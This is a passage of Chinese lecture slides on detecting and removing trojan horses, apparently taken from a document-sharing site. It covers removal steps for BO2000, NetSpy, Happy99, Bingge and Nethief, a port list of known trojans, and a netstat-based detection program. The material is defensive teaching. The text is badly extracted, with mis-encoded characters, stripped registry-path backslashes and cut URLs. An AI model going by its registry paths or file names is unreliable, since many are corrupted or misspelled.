45、 一 定 情 況 下 , 系 統(tǒng) 會(huì) 自 動(dòng)啟 動(dòng) 它 們 。 全 面 防 治 木 馬 病 毒 1 木 馬 中 毒 現(xiàn) 象 2 發(fā) 現(xiàn) 和 殺 除 木 馬 的 方 法 進(jìn) 程 /內(nèi) 存 模 塊 查 看 器 在 Windows下 查 看 進(jìn) 程 /內(nèi) 存 模 塊 的 方 法 很 多 , 有 PSAPI、 PDH和 ToolHelper API。 http:/ 端 口 掃 描 ( 端 口 進(jìn) 程 關(guān) 聯(lián) 軟 件 ) 關(guān) 聯(lián) 端 口 和 進(jìn) 程 的 軟 件 也 是 重 要 的 工 具 之 一 , 雖 然 DLL木 馬 隱 藏 在 其 他 進(jìn) 程 中 ,但 是 多 多 少 少 會(huì) 有 一 些 異 常
46、, 功 能 強(qiáng) 大 的 Fport就 是 一 個(gè) 優(yōu) 秀 的 進(jìn) 程 端 口 關(guān) 聯(lián)軟 件 , 可 以 在 以 下 地 址 下 載 到 :http:/ 嗅 探 器 嗅 探 器 幫 助 我 們 發(fā) 現(xiàn) 異 常 的 網(wǎng) 絡(luò) 通 訊 , 從 而 引 起 我 們 的 警 惕 和 關(guān) 注 , 嗅 探 器的 原 理 很 簡(jiǎn) 單 , 通 過 將 網(wǎng) 卡 設(shè) 為 混 雜 模 式 就 可 以 接 受 所 有 的 IP報(bào) 文 , 嗅 探 程 序可 以 從 中 選 擇 值 得 關(guān) 注 的 部 分 進(jìn) 行 分 析 , 剩 下 的 無 非 是 按 照 RFC文 檔 對(duì) 協(xié) 議進(jìn) 行 解 碼 。 代 碼 及 頭 文 件
47、: http:/ 譯 后 的 程 序 : http:/ 檢 查 及 保 護(hù) 注 冊(cè) 表 http:/ 查 找 文 件 http:/ 殺 病 毒 軟 件 系 統(tǒng) 文 件 檢 查 器 3 木 馬 的 預(yù) 防 措 施1. 永 遠(yuǎn) 不 要 執(zhí) 行 任 何 來 歷 不 明 的 軟 件 或 程 序2. 永 遠(yuǎn) 不 要 相 信 你 的 郵 箱 不 會(huì) 收 到 垃 圾 和 病 毒3. 永 遠(yuǎn) 不 要 因 為 對(duì) 方 是 你 的 好 朋 友 就 輕 易 執(zhí) 行他 發(fā) 過 來 的 軟 件 或 程 序 。4. 千 萬 不 要 隨 便 留 下 你 的 個(gè) 人 資 料 。5. 千 萬 不 要 輕 易 相 信 網(wǎng) 絡(luò) 上
48、 認(rèn) 識(shí) 的 新 朋 友 。6. 永 遠(yuǎn) 不 要 隨 便 說 別 人 的 壞 話 , 防 止 別 人 用 木馬 報(bào) 復(fù) 你 。 幾 種 常 見 木 馬 病 毒 的 殺 除 方 法 一 、 BO2000 查 看 注 冊(cè) 表HEKY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicse 中 是否 存 在 Umgr32.exe的 鍵 值 。 有 則 將 其 刪 除 。 重新 啟 動(dòng) 電 腦 , 并 將 WindowsSystem中 的Umgr32.exe刪 除 。 二 、 NetSpy( 網(wǎng) 絡(luò) 精 靈 ) 國(guó) 產(chǎn) 木 馬 ,
49、默 認(rèn) 連 接 端 口 為 7306。 在 該 版 本 中 新 添 加 了 注 冊(cè) 表 編輯 功 能 和 瀏 覽 器 監(jiān) 控 功 能 , 客 戶 端 現(xiàn) 在 可 以 不 用 NetMonitor, 通 過 IE或 Navigate就 可 以 進(jìn) 行 遠(yuǎn) 程 監(jiān) 控 了 。 其 強(qiáng) 大 之 處 絲 毫 不 遜 色 于 冰 河 和BO2000! 服 務(wù) 端 程 序 被 執(zhí) 行 后 , 會(huì) 在 C:Windowssystem目 錄 下 生成 netspy.exe文 件 。 同 時(shí) 在 注 冊(cè) 表HKEY_LOCAL_MACHINEsoftwaremicrosoftwindowsCurrentVers
50、ionRun 下 建 立 鍵 值 C:windowssystemnetspy.exe, 用 于 在 系 統(tǒng) 啟動(dòng) 時(shí) 自 動(dòng) 加 載 運(yùn) 行 。 清 除 方 法 : 1.進(jìn) 入 dos, 在 C:windowssystem目 錄 下 輸 入 以 下 命 令 : del netspy.exe 回 車 ; 2.進(jìn) 入 注 冊(cè) 表HKEY_LOCAL_MACHINESoftwaremicrosoftwindowsCurrentVersionRun, 刪 除 Netspy.exe和 Spynotify.exe的 鍵 值 即 可 安 全 清 除Netspy。 三 、 Happy99 此 程 序 運(yùn) 行
51、時(shí) , 會(huì) 在 打 開 一 個(gè) 名 為 “ Happy new year 1999”的 窗 口 , 并 出 現(xiàn) 美 麗 的 煙 花 , 它 會(huì) 復(fù) 制 到 Windows主 文 件 夾 的 System目 錄 下 并 更 名 為 Ska.exe, 同 時(shí) 創(chuàng) 建 文件 Ska.dll, 修 改 Wsock32.dll, 將 修 改 前 的 文 件 備 份 為Wsock32.ska, 并 修 改 注 冊(cè) 表 。 另 外 , 用 戶 可 以 檢 查 注 冊(cè)HEKY_LOCAL_MACHINESoftwreMicrosoftWindowsCurrentVersionRunOnce 中 有 無 鍵 值
52、 Ska.exe。 有 則 將 其刪 除 , 并 刪 除 WindowsSystem中 的 Ska.exe和 Ska.dll兩個(gè) 文 件 , 將 Wsock32.ska更 名 為 Wscok32.dll。 四 、 冰 河 冰 河 標(biāo) 準(zhǔn) 版 的 服 務(wù) 器 端 程 序 為 G-server.exe, 客 戶 端 程 序 為 G-client.exe,默 認(rèn) 連 接 端 口 為 7626。 一 旦 運(yùn) 行 G-server, 那 么 該 程 序 就 會(huì) 在C:Windowssystem目 錄 下 生 成 Kernel32.exe和 sysexplr.exe并 刪 除 自 身 。Kernel32.
53、exe在 系 統(tǒng) 啟 動(dòng) 時(shí) 自 動(dòng) 加 載 運(yùn) 行 , sysexplr.exe和 TXT文 件 關(guān) 聯(lián) 。 即使 你 刪 除 了 Kernel32.exe, 但 只 要 你 打 開 TXT文 件 , sysexplr.exe就 會(huì) 被 激 活 ,它 將 再 次 生 成 Kernel32.exe, 于 是 冰 河 又 回 來 了 ! 這 就 是 冰 河 屢 刪 不 止 的 原因 。 清 除 方 法 : 用 純 DOS啟 動(dòng) 進(jìn) 入 系 統(tǒng) ( 以 防 木 馬 的 自 動(dòng) 恢 復(fù) ) , 刪 除 你 安 裝 的windows下 的 systemkernel32.exe和 systemsysex
54、plr.exe兩 個(gè) 木 馬 文 件 , 注意 如 果 系 統(tǒng) 提 示 你 不 能 刪 除 它 們 , 則 因 為 木 馬 程 序 自 動(dòng) 設(shè) 置 了 這 兩 個(gè) 文 件 的屬 性 , 我 們 只 需 要 先 改 掉 它 們 的 隱 藏 、 只 讀 屬 性 , 就 可 以 刪 除 。 刪 除 后 , 進(jìn) 入 windows系 統(tǒng) 進(jìn) 入 注 冊(cè) 表 中 , 找 到HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun和HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionR
55、un Services兩 項(xiàng) , 然 后 查 找 kernel32.exe和 sysexplr.exe兩 個(gè) 鍵 值 并 刪 除 。 再 找 到HKEY_CLASSES_ROOTtxtfileopencommand, 看 在 鍵 值 中 是 不 是 已 改 為“ sysexplr.exe%1”, 如 是 改 回 “ notepad.exe %1”。 五 、 Nethief(網(wǎng) 絡(luò) 神 偷 ) 這 是 反 彈 端 口 型 木 馬 的 典 型 代 表 。 大 多 數(shù) 的 防 火 墻 對(duì) 于 由 外 面 連 入 本 機(jī) 的 連 接往 往 會(huì) 進(jìn) 行 非 常 嚴(yán) 格 的 過 濾 , 但 是 對(duì) 于 由
56、 本 機(jī) 連 出 的 連 接 卻 疏 于 防 范 ( 當(dāng) 然 也 有 的 防火 墻 兩 方 面 都 很 嚴(yán) 格 ) 。 于 是 , 與 一 般 的 木 馬 相 反 , 反 彈 端 口 型 木 馬 的 服 務(wù) 端 (被 控 制端 )使 用 主 動(dòng) 端 口 , 客 戶 端 (控 制 端 )使 用 被 動(dòng) 端 口 , 當(dāng) 要 建 立 連 接 時(shí) , 由 客 戶 端 通 過 FTP主 頁 空 間 告 訴 服 務(wù) 端 : “ 現(xiàn) 在 開 始 連 接 我 吧 ! ” , 并 進(jìn) 入 監(jiān) 聽 狀 態(tài) , 服 務(wù) 端 收 到 通 知后 , 就 會(huì) 開 始 連 接 客 戶 端 。 為 了 隱 蔽 起 見 , 客
57、 戶 端 的 監(jiān) 聽 端 口 一 般 開 在 80, 這 樣 , 即使 用 戶 使 用 端 口 掃 描 軟 件 檢 查 自 己 的 端 口 , 發(fā) 現(xiàn) 的 也 是 類 似 “ TCP服 務(wù) 端 的 IP地址 :1026 客 戶 端 的 IP地 址 :80 ESTABLISHED”的 情 況 , 稍 微 疏 忽 一 點(diǎn) 你 就 會(huì) 以 為 是 自己 在 瀏 覽 網(wǎng) 頁 。 防 火 墻 也 會(huì) 如 此 認(rèn) 為 , 大 概 沒 有 哪 個(gè) 防 火 墻 會(huì) 不 給 用 戶 向 外 連 接 80端口 吧 。 清 除 方 法 : 1.網(wǎng) 絡(luò) 神 偷 會(huì) 在 注 冊(cè) 表HKEY_LOCAL_MACHINES
58、OFTWAREMicrosoftWindowsCurrentVersionRun 下 建 立 鍵 值 “ internet”, 其 值 為internet.exe /s, 將 鍵 值 刪 除 ; 2.刪 除 其 自 啟 動(dòng) 程 序C:WINDOWSSYSTEMINTERNET.EXE。 已 知 木 馬 病 毒 的 端 口 列 表木 馬 名 稱 端 口 木 馬 名 稱 端 口BO jammerkillahV 121 Remote Grab 7000NukeNabber 139 NetMonitor 7300Hackers Paradise 456 NetMonitor 1.x 7301Steal
59、th Spy 555 NetMonitor 2.x 7306Phase0 555 NetMonitor 3.x 7307NeTadmin 555 NetMonitor 4.x 7308Satanz Backdoor 666 Qaz 7597Attack FTP 666 ICQKiller 7789 AIMSpy 777 InCommand 9400 木 馬 檢 測(cè) 及 清 除 實(shí) 驗(yàn) 示 例 程 序 利 用 開 放 主 機(jī) 端 口 號(hào) 和 各 個(gè) 木 馬程 序 使 用 端 口 的 對(duì) 應(yīng) 關(guān) 系 , 判 斷 主 機(jī) 是 否已 中 木 馬 , 中 了 何 種 木 馬 ( 目 前 能 查 找 一百
60、 余 種 ) , 并 能 根 據(jù) 所 中 木 馬 的 類 型 , 對(duì)其 中 的 二 十 幾 種 進(jìn) 行 殺 滅 。 此 外 , 用 戶 可自 行 追 加 數(shù) 據(jù) 庫(kù) , 增 加 能 查 找 病 毒 的 種 類 。 開 始 讀 取 保 存 開 放 端 口 文 件 , 判 斷 中 何木 馬 是 否 能 打 開 木 馬 數(shù)據(jù) 庫(kù) 文 件No Yes 結(jié) 束 調(diào) 用 netstat獲 得 開 放 的 端 口 , 結(jié) 果保 存 到 文 件 此 木 馬 能 否 被 殺 滅調(diào) 用 函 數(shù) 殺 除 木 馬Yes No 關(guān) 鍵 數(shù) 據(jù) 結(jié) 構(gòu)本 程 序 的 數(shù) 據(jù) 文 件 Trojan.txt使 用 了 TRO
61、JAN結(jié) 構(gòu) 來 保 存 木 馬 的 名 稱 , 對(duì)應(yīng) 打 開 端 口 號(hào) 和 查 殺 代 碼字 段 名 稱 字 段 類型 字 段 說 明nPort 數(shù) 字 該 木 馬 所 使 用 的 端 口 號(hào) 。TroName 字 符 串 該 木 馬 的 名 稱 。 nKillno 數(shù) 字 該 木 馬 的 查 殺 號(hào) , 殺 除 函 數(shù) 調(diào) 用 。pnext 指 針 用 于 構(gòu) 成 鏈 表 結(jié) 構(gòu) 指 針木 馬 名 稱 木 馬 使 用 特 征 端 口 號(hào) 查 殺 號(hào)在 Trojan.txt中 , 每 行 為 一 個(gè) 木 馬 項(xiàng) , 格 式 為 使 用 系 統(tǒng) 調(diào) 用 查 看 有 那 些 端 口 開 放 :
62、 netstat -a c:log.txt 返 回 格 式 Proto Local Address Foreign Address State TCP truewar:epmap 0.0.0.0:0 LISTENING TCP truewar:1025 0.0.0.0:0 LISTENING TCP truewar:1028 0.0.0.0:0 LISTENING TCP truewar:5000 0.0.0.0:0 LISTENING UDP truewar:isakmp *:* UDP truewar:1900 *:* 該 方 法 存 在 問 題 : 無 法 應(yīng) 對(duì) 隱 藏 端 口 消 除
63、 木 馬 進(jìn) 程 的 步 驟 第 一 步 : 提 升 權(quán) 限 提 升 本 程 序 權(quán) 限 得 目 的 是 , 使 其 能 夠 殺 除 木 馬進(jìn) 程 , 主 要 是 通 過 AdjustTokenPrivileges函 數(shù)來 完 成 。BOOL AdjustTokenPrivileges( HANDLE TokenHandle, /用 于 修 改 權(quán) 限 的 句 炳 BOOL DisableAllPrivileges, /修 改 方 式 PTOKEN_PRIVILEGES NewState, /修 改 后 的 值 DWORD BufferLength, /修 改 值 的 長(zhǎng) 度 PTOKEN_P
64、RIVILEGES PreviousState, /修 改 前 狀 態(tài) PDWORD ReturnLength /返 回 長(zhǎng) 度); 第 二 步 : 枚 舉 進(jìn) 程 , 獲 得 木 馬 進(jìn) 程 的 進(jìn) 程號(hào) 碼 。 首 先 通 過 EnumProcesses函 數(shù) 來 枚 舉 系 統(tǒng) 中 所有 運(yùn) 行 的 進(jìn) 程 。 當(dāng) 獲 得 所 有 進(jìn) 程 的 進(jìn) 程 號(hào) 以 后 , 枚 舉 每 一 個(gè) 進(jìn)程 所 包 含 的 模 塊 , 這 里 使 用EnumProcessModules函 數(shù) : 通 過 返 回 的 模 塊 信 息 , 我 們 可 以 利 用GetModuleFileNameEx來 取
65、得 此 模 塊 調(diào) 用 文 件的 文 件 名 。 第 三 步 : 終 止 木 馬 進(jìn) 程 。 如 果 取 得 文 件 名和 木 馬 的 名 稱 一 樣 , 則 調(diào) 用TerminateProcess函 數(shù) 終 止 木 馬 進(jìn) 程 。 第 四 步 : 清 除 木 馬 文 件 。 在 終 止 木 馬 的 進(jìn)程 以 后 , 就 可 以 刪 除 木 馬 文 件 , 刪 除 注 冊(cè)表 項(xiàng) 和 刪 除 文 件 中 的 自 啟 動(dòng) 項(xiàng) 的 操 作 了 ,其 中 涉 及 到 幾 個(gè) 注 冊(cè) 表 操 作 函 數(shù) 。 RegOpenKeyEx: 用 來 打 開 注 冊(cè) 表 項(xiàng) RegQueryValueEx: 用 來 查 詢 特 定 注 冊(cè) 表 項(xiàng) 中 的 鍵值 RegDeleteValue: 當(dāng) 我 們 查 找 到 的 鍵 名 和 其 含 有 的鍵 值 與 木 馬 添 加 的 內(nèi) 容 一 致 時(shí) , 就 可 以 調(diào) 用 該 函 數(shù)刪 除 此 鍵 對(duì) 于 木 馬 文 件 , 調(diào) 用 DeleteFile函 數(shù) 來 刪 除 。 代 碼 ( VC) 及 程 序 演 示 論 文 題 目 :“ 淺 談 XX病 毒 及 其 防 治 技 術(shù) ”論 文 必 須 在 5月 11日 交
- 溫馨提示:
1: 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
2: 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
3.本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
5. 裝配圖網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 指向核心素養(yǎng)發(fā)展的高中生物學(xué)1輪復(fù)習(xí)備考建議
- 新課程新評(píng)價(jià)新高考導(dǎo)向下高三化學(xué)備考的新思考
- 新時(shí)代背景下化學(xué)高考備考策略及新課程標(biāo)準(zhǔn)的高中化學(xué)教學(xué)思考
- 2025屆江西省高考政治二輪復(fù)習(xí)備考建議
- 新教材新高考背景下的化學(xué)科學(xué)備考策略
- 新高考背景下的2024年高考化學(xué)二輪復(fù)習(xí)備考策略
- 2025屆高三數(shù)學(xué)二輪復(fù)習(xí)備考交流會(huì)課件
- 2025年高考化學(xué)復(fù)習(xí)研究與展望
- 2024年高考化學(xué)復(fù)習(xí)備考講座
- 2025屆高考數(shù)學(xué)二輪復(fù)習(xí)備考策略和方向
- 2024年感動(dòng)中國(guó)十大人物事跡及頒獎(jiǎng)詞
- XX教育系統(tǒng)單位述職報(bào)告教育工作概述教育成果展示面臨的挑戰(zhàn)未來規(guī)劃
- 2025《增值稅法》全文解讀學(xué)習(xí)高質(zhì)量發(fā)展的增值稅制度規(guī)范增值稅的征收和繳納
- 初中資料:400個(gè)語文優(yōu)秀作文標(biāo)題
- 初中語文考試專項(xiàng)練習(xí)題(含答案)